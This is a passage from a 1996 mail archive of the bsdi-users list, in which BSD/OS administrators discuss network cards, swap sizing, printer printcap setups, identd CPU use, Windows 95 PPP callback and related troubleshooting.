tests, there will always be prayer in schools." -- Unknown, but probably a student :) From VM Thu Nov 7 01:14:44 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["588" "Wed" "6" "November" "1996" "17:17:11" "+0100" "cor@xs4all.net" "cor@xs4all.net" nil "19" "Re: 509 hang?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA13157 for ; Wed, 6 Nov 1996 11:28:44 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA08926 for bsdi-users-outgoing; Wed, 6 Nov 1996 11:17:34 -0500 (EST) X-Authentication-Warning: news.xs4all.nl: news set sender to cor@xs4all.nl using -f Message-ID: <55qdm4$khp@news.xs4all.nl> Precedence: bulk From: cor@xs4all.net Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: 509 hang? Date: Wed, 6 Nov 1996 17:17:11 +0100 (MET) GeertJan.deGroot@ripe.net (Geert Jan de Groot) writes: >> Which ethernet card are you using? We've found that 3c509 cards hang >> if the throughput gets too high. So we switched everything to smc. >Are you sure you're talking about the 3C509 and not the 590? >The ISA (not PCI) ethernet card? Yes, you're totally right. It's the 590 PCI. My mistake. >The 590, and 595 for that matter, really need K210-017; the >other cards benefit as well. >After the patch has been applied, I have not heard about >any problems with the driver. Ah ok. Oh well..we like SMC now anyways, so :) Cor From VM Thu Nov 7 01:14:44 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1079" "Wed" "6" "November" "1996" "11:28:10" "+0000" "Dave A. Flanigan" "entropy@newreach.net" nil "27" "Swap Question" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA13162 for ; Wed, 6 Nov 1996 11:29:50 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA08941 for bsdi-users-outgoing; Wed, 6 Nov 1996 11:27:17 -0500 (EST) Message-Id: <3.0.32.19961106112809.006d7e4c@newreach.net> X-Sender: entropy@newreach.net (Unverified) X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: "Dave A. Flanigan" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Swap Question Date: Wed, 06 Nov 1996 11:28:10 +0000 I was reading some back messages here, and someone recomnded swap space of 2X RAM + any MFS you may have. When I installed BSDI on the machine I had only 32megs, now we have 128megs of RAM. My MFS is 16megs. I am only running on one SCSI drive now, but have a second SCSI drive, only 450megs, ready to go into it. How do 1: Find out the size of my current swap space. If I do a df on that partition (/dev/sd0b) I get some really strange results. Huge numbers, an -% for usage: Filesystem 512-blocks Used Avail Capacity Mounted on /dev/sd0b 270654175 1329928064 1520142760 -6089% and 2: How do I use the new drive as swap. Is there a special way to format it. I would like to just use the second drive for swap only. Here is my curent fstab file. Any help would be appreciated: /dev/sd0a / ufs rw 1 1 /dev/sd0h /usr ufs rw,userquota 1 2 /dev/sd0b swap swap sw 0 0 /dev/sr0a /cdrom cd9660 ro,noexec,nosuid,nodev 0 0 /dev/sd0b /tmp mfs rw,-s=32768 0 0 Thanks in advance! Dave From VM Thu Nov 7 01:14:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["811" "Wed" "6" "November" "1996" "11:50:53" "-0500" "Sam Brown" "root@ns2.clever.net" nil "32" "Re: Weird hanging" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA13983 for ; Wed, 6 Nov 1996 11:58:06 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA08997 for bsdi-users-outgoing; Wed, 6 Nov 1996 11:51:23 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: Bill Becker cc: Amy , cor@xs4all.net, bsdi-users@BSDI.COM Subject: Re: Weird hanging Date: Wed, 6 Nov 1996 11:50:53 -0500 (EST) the 3c509 are good but the pnp is quirky, go PCI with the dec 21x40 chipset (no boca, no kingston) and you'll be safe and happy. They work the best of all nic's ive ever tried. Sam On Wed, 6 Nov 1996, Bill Becker wrote: > > > On Tue, 5 Nov 1996, Amy wrote: > > > > > > Oops forgot to mention that - I'm using NE200 clones (Winbond). Anyone > > know of problems with those? > > Apart from the fact that they are the worst nics i've ever tried, no. I > wouldn't trust them as paperweights. > > Try a different *type* of card...Don't use ne2k clones unless you like > aggravation! I solved several problems at my own site by replacing all > the ne2k clones with 3c509s. If you have any Linux boxes, use the ne2k > cards there -- The Linux driver has ways of making them talk. > > Bill > > > > From VM Thu Nov 7 01:14:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["16" "Wed" "6" "November" "1996" "11:08:13" "GMT" "Ing. David E. Balmaceda Thome" "dbal@nova.interjuarez.com" nil "5" "How do I mounting the tape backup? is very urgent" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA14547 for ; Wed, 6 Nov 1996 12:14:58 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA09046 for bsdi-users-outgoing; Wed, 6 Nov 1996 12:10:16 -0500 (EST) Message-Id: <199611061108.LAA09249@nova.interjuarez.com> X-Sender: dbal@nova.interjuarez.com X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: "Ing. David E. Balmaceda Thome" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: How do I mounting the tape backup? is very urgent Date: Wed, 6 Nov 1996 11:08:13 GMT From VM Thu Nov 7 01:14:53 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["317" "Wed" "6" "November" "1996" "12:37:59" "-0500" "Ron Bickers" "rbickers@intercenter.net" nil "12" "disk striping (cd driver) fsck problem" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA15095 for ; Wed, 6 Nov 1996 12:41:50 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA09119 for bsdi-users-outgoing; Wed, 6 Nov 1996 12:39:08 -0500 (EST) Message-Id: <199611061737.MAA24687@atlantis.intercenter.net> In-Reply-To: <9610142338.AA16124@mycroft.cns.ohiou.edu>; from "rbickers" at Wed Nov 06 12:37:59 1996 X-Mailer: Siren Mail (Windows Version 3.1.l (Beta) (Windows 95/NT)) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET="US-ASCII" Precedence: bulk From: rbickers@intercenter.net (Ron Bickers) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: disk striping (cd driver) fsck problem Date: Wed, 6 Nov 1996 12:37:59 -0500 (EST) I have 3 4GB SCSI drives striped using the BSDI2.1 cd driver. It seems to be working well, but when I do a 'fsck' on the device, I get a some problems that can't be corrected. The same problems show up even if 'fsck' is run right after 'newfs'! Anyone using the cd driver know what, if anything, to do? . Ron From VM Thu Nov 7 01:14:54 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["592" "Wed" "6" "November" "1996" "10:36:25" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "22" "Re: X Question... " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA15356 for ; Wed, 6 Nov 1996 12:42:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA09111 for bsdi-users-outgoing; Wed, 6 Nov 1996 12:38:05 -0500 (EST) Message-Id: <199611061736.KAA22904@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Tue, 05 Nov 1996 15:47:23 MST." <199611052247.PAA27026@rocky.mt.sri.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: Nate Williams cc: Brian Beaulieu , BSDi User List Subject: Re: X Question... Date: Wed, 06 Nov 1996 10:36:25 -0700 Nate Williams writes: >> >Is it possible to jump back to console or another tty without shutting >> >down X ? >> >> No. Unfortunately, Xinside has not put that functionality in Xaccel >> for BSD/OS. > >It's not a function of the X driver, but rather a function of the >console driver in BSDi. > > > >Nate BSDI does support virtual consoles if you enable them in /etc/ttys. Ctl-Fx will do the switch. But Alt-Ctl-Fx does not do the switch when Xaccel is running. An engineer here at BSDI said it was something Xinside had not implemented for BSD/OS. At any rate, it does not work. -Bill N From VM Thu Nov 7 01:14:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1350" "Wed" "6" "November" "1996" "13:11:00" "EST" "Richard Noel" "richard.noel@wang.com" nil "37" "identd Process CPU Utilization" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA15935 for ; Wed, 6 Nov 1996 13:11:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA09169 for bsdi-users-outgoing; Wed, 6 Nov 1996 13:07:10 -0500 (EST) Message-ID: <3280D521@SMTPGTWY.WANG.COM> X-Mailer: Microsoft Mail V3.0 Precedence: bulk From: "Noel, Richard" Sender: owner-bsdi-users@lists.gateway.com To: "'bsdi-users@gateway.com'" Subject: identd Process CPU Utilization Date: Wed, 06 Nov 96 13:11:00 EST Today I noticed the identd process is consistently utilizing large amounts of CPU time, ranging from a low (that I've seen via top) of 12% to a high of 64% and spending a lot of time in the 50% range. load averages: 2.45, 2.78, 3.06 12:32:42 145 processes: 2 running, 143 sleeping Cpu states: 4.4% user, 36.7% nice, 59.0% system, 0.0% interrupt, 0.0% idle Memory: Real: 24M/49M Virt: 42M/300M Free: 56M PID USERNAME PRI NICE SIZE RES STATE TIME WCPU CPU COMMAND 4620 sys 105 4 288K 424K run 53:43 60.74% 60.74% identd The CPU is an Intel Pentium 150MHz, 128MB main memory, BSDI 2.0.1, Sendmail v8.6.12. The server is on our internal network (only) and is used as the WWW proxy server (CERN v3.0) for internal clients, POP3 server, and netnews server. Uptime is 4hrs; we had to boot this morning because (I'm told) the web server stopped responding to requests for its homepage, but users could get out to the Internet. I found in USAH and Sendmail that the identd process is used by sendmail to identify the user and host that initiate network connections. Using tail -f on maillog and messages I don't see anything unusual. Could anyone suggest where I might look to determine what is causing identd to consume so much CPU time ? Thanks, Richard noel@wang.com From VM Thu Nov 7 01:14:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["812" "Wed" "6" "November" "1996" "20:08:55" "+0200" "Mihails Nikitins" "nikitins@infoservriga.lv" nil "23" "Calling back Windows 95 system" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA15940 for ; Wed, 6 Nov 1996 13:11:49 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA09188 for bsdi-users-outgoing; Wed, 6 Nov 1996 13:08:57 -0500 (EST) Message-ID: <3280D437.30E3@infoservriga.lv> Organization: Infoserv-Riga Ltd. X-Mailer: Mozilla 3.0Gold (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Mihails Nikitins Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Calling back Windows 95 system Date: Wed, 06 Nov 1996 20:08:55 +0200 Hello, due to some circumstances I have implemented a simple call-back system. A client calls my BSDI/OS box, starts a script, disconnects and then waits the requested call back. The call can be accepted by any terminal emulation programm or by Trumpet Winsock. The problem is to get call back PPP connection using Windows 95. Unfortunately, "Dial-up Networking" can't be used because it SHOULD send a dialing sequense to the modem. Did anyone solve the problem? Thank you in advance for any help. Best regards, Mihails Nikitins ======================================================== Infoserv-Riga Ltd. Phone: +371-2-558439 14, Dzerbenes Str. Fax: +371-7828211 Riga, LV-1006 e-mail: nikitins@infoservriga.lv Latvia http://www.infoservriga.lv ======================================================== From VM Thu Nov 7 01:14:59 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2111" "Wed" "6" "November" "1996" "11:12:40" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "73" "Re: Parallel printer problems " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA16208 for ; Wed, 6 Nov 1996 13:14:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA09208 for bsdi-users-outgoing; Wed, 6 Nov 1996 13:12:59 -0500 (EST) Message-Id: <199611061812.LAA23031@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Tue, 05 Nov 1996 14:56:15 EST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: Cat Okita cc: bsdi-users@BSDI.COM Subject: Re: Parallel printer problems Date: Wed, 06 Nov 1996 11:12:40 -0700 Cat Okita writes: > >Hi - > >I've got a Lexmark 4029 printer hooked up to a 386 running BSDi2.1 (with >basic patches). > >I've tried the suggested fix to get printing to work properly with no dice. > >The basic behaviour is as follows: > > cat /tmp/foo.ps >/dev/lp0 # works perfectly > cat /tmp/foo.txt >/dev/lp0 # doesn't work (printer setting, so ok) > # shows the same behaviour as below > > lpr /tmp/foo.ps # doesn't work - the printer shows > # that it's recieving data, then it > # flushes the data, goes busy briefly > # and then back to a 'ready' state. > >I've checked the printers settings, and they appear to be correct (the only >suggestion shown in the manual for this problem is a time out issue, and I've >set it to 'infinite') > >I suspect that there's some problem with data being added/removed to the >print job, but don't really know - I've added the printcaps that I've tried >thus far below. > >If anyone has some suggestions, I'd really appreciate it! > >Cat Okita > When you say "lpr /tmp/foo.ps" the default printer lp (unless you've changed it by setting the environment variable PRINTER). Which of the three lp entries in your printcap are you using? -Bill N >----- cut here for samples ----- -->lp|local line printer:\ > :lp=/dev/lp0:sd=/var/spool/lpd:lf=/var/log/lpd-errs:\ > :if=/usr/libexec/lpr/lpf: > >lp2:\ > :lp=/dev/lp0:sd=/var/spool/lpd:lf=/var/log/lpd-errs:\ > :if=/usr/contrib/lib/lprps/psif:\ > :vf=/usr/contrib/lib/lprps/psif:\ > :df=/usr/libexec/lpr/dvi2ps-filter: > >lp3|test:\ > :lp=/dev/lp0:\ > :sd=/var/spool/lpd:\ > :lf=/var/log/lpd-errs:\ > :mx=0: > -->lp|0|deskjet|HP Deskjet:\ > :sh:lp=/dev/lp0:sd=/var/spool/lpd:lf=/var/log/lpd-errs:\ > :if=/usr/libexec/lpr/txt2jep-filter:\ > :df=/usr/libexec/lpr/dvi2jep-filter:\ > :vf=/usr/libexec/lpr/ps2jep-filter: > -->lp|ps|PostScript|lj4ml|HP LaserJet 4ML:\ > :lp=/dev/lp0:sh:mx#0:\ > :sd=/var/spool/lpd:\ > :lf=/var/log/lpd-errs:\ > :af=/dev/null:\ > :if=/usr/contrib/lib/lprps/psif:\ > :vf=/usr/local/libexec/lpr/null-filter: > From VM Thu Nov 7 01:15:04 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["284" "Wed" "6" "November" "1996" "13:25:17" "-0500" "Jason Lixfeld" "carrera@idirect.com" nil "10" "Autospool incoming mail directly to a printer" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA17063 for ; Wed, 6 Nov 1996 13:44:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA09307 for bsdi-users-outgoing; Wed, 6 Nov 1996 13:41:20 -0500 (EST) X-Authentication-Warning: hometown.idirect.com: carrera owned process doing -bs Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jason Lixfeld Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Autospool incoming mail directly to a printer Date: Wed, 6 Nov 1996 13:25:17 -0500 (EST) Is it possible to have all incoming mail spooled directly to a printer as opposed to sitting in a mailbox. I mean, if it goes to a mailbox for reference, that is great, but the bottom line is that I need the mail to spool directly to a printer and print automatically. Thanks.. From VM Thu Nov 7 01:15:04 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1443" "Wed" "6" "November" "1996" "13:46:01" "-0500" "Cat Okita" "cat@uunet.ca" nil "52" "Re: Parallel printer problems " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA17071 for ; Wed, 6 Nov 1996 13:48:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA09324 for bsdi-users-outgoing; Wed, 6 Nov 1996 13:47:04 -0500 (EST) In-Reply-To: <199611061812.LAA23031@tao.bsdi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Cat Okita Sender: owner-bsdi-users@lists.gateway.com To: Bill Nestlerode cc: bsdi-users@BSDI.COM Subject: Re: Parallel printer problems Date: Wed, 6 Nov 1996 13:46:01 -0500 On Wed, 6 Nov 1996, Bill Nestlerode wrote: > When you say "lpr /tmp/foo.ps" the default printer lp (unless you've > changed it by setting the environment variable PRINTER). Which of the three > lp entries in > your printcap are you using? Hi Bill - I used the appropriate printers as per the entry - 'lpr /tmp/foo.ps' was an example. In my actual printcap, only one lp at a time was enabled - these were included as they are by way of *example* Cat > -Bill N > > >----- cut here for samples ----- > -->lp|local line printer:\ > > :lp=/dev/lp0:sd=/var/spool/lpd:lf=/var/log/lpd-errs:\ > > :if=/usr/libexec/lpr/lpf: > > > >lp2:\ > > :lp=/dev/lp0:sd=/var/spool/lpd:lf=/var/log/lpd-errs:\ > > :if=/usr/contrib/lib/lprps/psif:\ > > :vf=/usr/contrib/lib/lprps/psif:\ > > :df=/usr/libexec/lpr/dvi2ps-filter: > > > >lp3|test:\ > > :lp=/dev/lp0:\ > > :sd=/var/spool/lpd:\ > > :lf=/var/log/lpd-errs:\ > > :mx=0: > > > -->lp|0|deskjet|HP Deskjet:\ > > :sh:lp=/dev/lp0:sd=/var/spool/lpd:lf=/var/log/lpd-errs:\ > > :if=/usr/libexec/lpr/txt2jep-filter:\ > > :df=/usr/libexec/lpr/dvi2jep-filter:\ > > :vf=/usr/libexec/lpr/ps2jep-filter: > > > -->lp|ps|PostScript|lj4ml|HP LaserJet 4ML:\ > > :lp=/dev/lp0:sh:mx#0:\ > > :sd=/var/spool/lpd:\ > > :lf=/var/log/lpd-errs:\ > > :af=/dev/null:\ > > :if=/usr/contrib/lib/lprps/psif:\ > > :vf=/usr/local/libexec/lpr/null-filter: > > > > > From VM Thu Nov 7 01:15:05 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["878" "Wed" "6" "November" "1996" "10:57:54" "-0700" "Merton Campbell Crockett" "mcc@wlv.iipo.gtegsc.com" nil "24" "Re: Calling back Windows 95 system" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA17616 for ; Wed, 6 Nov 1996 14:07:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA09386 for bsdi-users-outgoing; Wed, 6 Nov 1996 14:07:48 -0500 (EST) Message-Id: <961106105801.ZM14030@MCC.IIPO.GTEGSC.COM> In-Reply-To: Mihails Nikitins "Calling back Windows 95 system" (Nov 6, 20:08) References: <3280D437.30E3@infoservriga.lv> X-Mailer: Z-Mail 4.0.1 (4.0.1 Apr 9 1996) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: mcc@wlv.iipo.gtegsc.com (Merton Campbell Crockett) Sender: owner-bsdi-users@lists.gateway.com To: Mihails Nikitins , bsdi-users@BSDI.COM Subject: Re: Calling back Windows 95 system Date: Wed, 6 Nov 1996 10:57:54 -0700 On Nov 6, 20:08, Mihails Nikitins wrote: > Subject: Calling back Windows 95 system |Hello, | |due to some circumstances I have implemented a simple call-back system. |A client calls |my BSDI/OS box, starts a script, disconnects and then waits the |requested call back. |The call can be accepted by any terminal emulation programm or by |Trumpet Winsock. |The problem is to get call back PPP connection using Windows 95. |Unfortunately, "Dial-up Networking" can't be used because it SHOULD send |a dialing sequense to the modem. Did anyone solve the problem? Cheap shot answer is to install OnNet32 2.0 from FTP Software on your Windows95 system. It supports dial back for PPP, SLIP, and CSLIP. The other answer is to go to the CD-ROM and install the scripting tools. I think there might have been one example script that did support a call back. Merton Campbell Crockett From VM Thu Nov 7 01:15:06 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1014" "Wed" "6" "November" "1996" "14:09:03" "-0500" "Kevin Sellars" "kevin@akorn.net" nil "33" "Re: MS Frontpage" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA17625 for ; Wed, 6 Nov 1996 14:11:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA09420 for bsdi-users-outgoing; Wed, 6 Nov 1996 14:10:36 -0500 (EST) Path: not-for-mail Newsgroups: info.bsdi.users Organization: Akorn Access, Inc. Lines: 32 Message-ID: <01bbcc16.94603360$0200a8c0@kevin.akorn.net> References: NNTP-Posting-Host: 205.217.100.15 X-Newsreader: Microsoft Internet News 4.70.1085 Precedence: bulk From: "Kevin Sellars" Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: Re: MS Frontpage Date: Wed, 6 Nov 1996 14:09:03 -0500 I totally disagree with bill below. FP was written specifically for UNIX platforms by Vermeer before Microsnot purchased them. I run the extensions with the stub executables on over 100 websites we currently host and very rarely have a problem. Make sure you are running a server the extensions are written for like Apache ( specifically 1.1 here). Kevin > bbecker@futurecomm.com (Bill Becker) wrote in article ... > > > On Tue, 15 Oct 1996, John Chapman wrote: > > > We are thinking about installing the MS Frontpage server extensions and I am > > wondering what the general feeling is towards this. > > My general feeling is that Front Page would be a sharp pain in the orafice > of my fundament. > > If the server is something like a local corporate server that doesn't have > lots of user pages and virtual-host webservers, then it sounds like a good > idea. For an ISP? I sure wouldn't do it on a unix box. > > > Bill > > > From VM Thu Nov 7 01:15:08 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["963" "Wed" "6" "November" "1996" "14:16:07" "-0500" "Kevin U. Hill" "kuh@naples.net" nil "24" "Re: Calling back Windows 95 system" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA17900 for ; Wed, 6 Nov 1996 14:17:39 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA09476 for bsdi-users-outgoing; Wed, 6 Nov 1996 14:16:52 -0500 (EST) Message-Id: <2.2.32.19961106191607.00858cb0@gator.naples.net> X-Sender: kuh@gator.naples.net X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: "Kevin U. Hill" Sender: owner-bsdi-users@lists.gateway.com To: Mihails Nikitins , bsdi-users@BSDI.COM Subject: Re: Calling back Windows 95 system Date: Wed, 06 Nov 1996 14:16:07 -0500 At 08:08 PM 11/6/96 +0200, Mihails Nikitins wrote: >due to some circumstances I have implemented a simple call-back system. >A client calls >my BSDI/OS box, starts a script, disconnects and then waits the >requested call back. >The call can be accepted by any terminal emulation programm or by >Trumpet Winsock. >The problem is to get call back PPP connection using Windows 95. >Unfortunately, "Dial-up Networking" can't be used because it SHOULD send >a dialing sequense to the modem. Did anyone solve the problem? Your users will have to install MS Dialup Server which comes bundled with the Win95 Plus Pack. Around $40 last time I looked. - Kevin ____________________________________________________ k e v i n u. h i l l | kuh@naples.net livestock agent - collier | university of florida tech committee chair | naples free-net http://www.naples.net/~kuh/ ---------------------------------------------------- From VM Thu Nov 7 01:15:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["159" "Wed" "6" "November" "1996" "14:28:29" "-0500" "Kevin Sellars" "kevin@akorn.net" nil "5" "too many files open" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA18176 for ; Wed, 6 Nov 1996 14:34:40 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA09527 for bsdi-users-outgoing; Wed, 6 Nov 1996 14:27:47 -0500 (EST) Path: not-for-mail Newsgroups: info.bsdi.users Organization: Akorn Access, Inc. Lines: 4 Message-ID: <01bbcc18.b03279c0$0200a8c0@kevin.akorn.net> NNTP-Posting-Host: 205.217.100.15 X-Newsreader: Microsoft Internet News 4.70.1085 Precedence: bulk From: "Kevin Sellars" Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: too many files open Date: Wed, 6 Nov 1996 14:28:29 -0500 I get this error when I try to log in occasionally. Does anyone know if this is a kernel error or a shell error? Please reply to: kevin@akorn.net tia kevin From VM Thu Nov 7 01:15:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["297" "Wed" "6" "November" "1996" "11:47:54" "-0800" "ronnie@internet-frontier.net" "ronnie@internet-frontier.net" nil "10" "Re: UUCP" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA18710 for ; Wed, 6 Nov 1996 14:48:22 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA09555 for bsdi-users-outgoing; Wed, 6 Nov 1996 14:42:18 -0500 (EST) In-Reply-To: <01BBCB5F.2298C6F0@david.ladybugcom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: David Stavert cc: "'bsdi-users@BSDI.COM'" Subject: Re: UUCP Date: Wed, 6 Nov 1996 11:47:54 -0800 (PST) On Tue, 5 Nov 1996, David Stavert wrote: > Has anyone found a solution to remote Email other than a UUCP setup. I have > a client that wants local network Email as well as Internet mail. I would > rather not use UUCP if possible. > Use qpopper. I think it's available on ftp.bsdi.com Amy :) From VM Thu Nov 7 01:15:12 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["618" "Wed" "6" "November" "1996" "15:30:45" "-0500" "Bill Warner" "lww@ictech.com" nil "16" "Re: Calling back Windows 95 system" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA20077 for ; Wed, 6 Nov 1996 15:42:08 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA09694 for bsdi-users-outgoing; Wed, 6 Nov 1996 15:31:23 -0500 (EST) Message-Id: <3.0.32.19961106153014.00694df4@pop.ictech.com> X-Sender: lww@pop.ictech.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Bill Warner Sender: owner-bsdi-users@lists.gateway.com To: Mihails Nikitins , bsdi-users@BSDI.COM Subject: Re: Calling back Windows 95 system Date: Wed, 06 Nov 1996 15:30:45 -0500 At 08:08 PM 11/6/96 +0200, Mihails Nikitins wrote: >due to some circumstances I have implemented a simple call-back system. >A client calls >my BSDI/OS box, starts a script, disconnects and then waits the >requested call back. >The call can be accepted by any terminal emulation programm or by >Trumpet Winsock. >The problem is to get call back PPP connection using Windows 95. >Unfortunately, "Dial-up Networking" can't be used because it SHOULD send >a dialing sequense to the modem. Did anyone solve the problem? FWIW, there is some dial-back info at: Bill From VM Thu Nov 7 01:15:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1207" "Wed" "6" "November" "1996" "14:44:46" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "30" "Re: Swap Question" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA20615 for ; Wed, 6 Nov 1996 16:03:22 -0500 (EST) Received: (from majordom@localhost) by 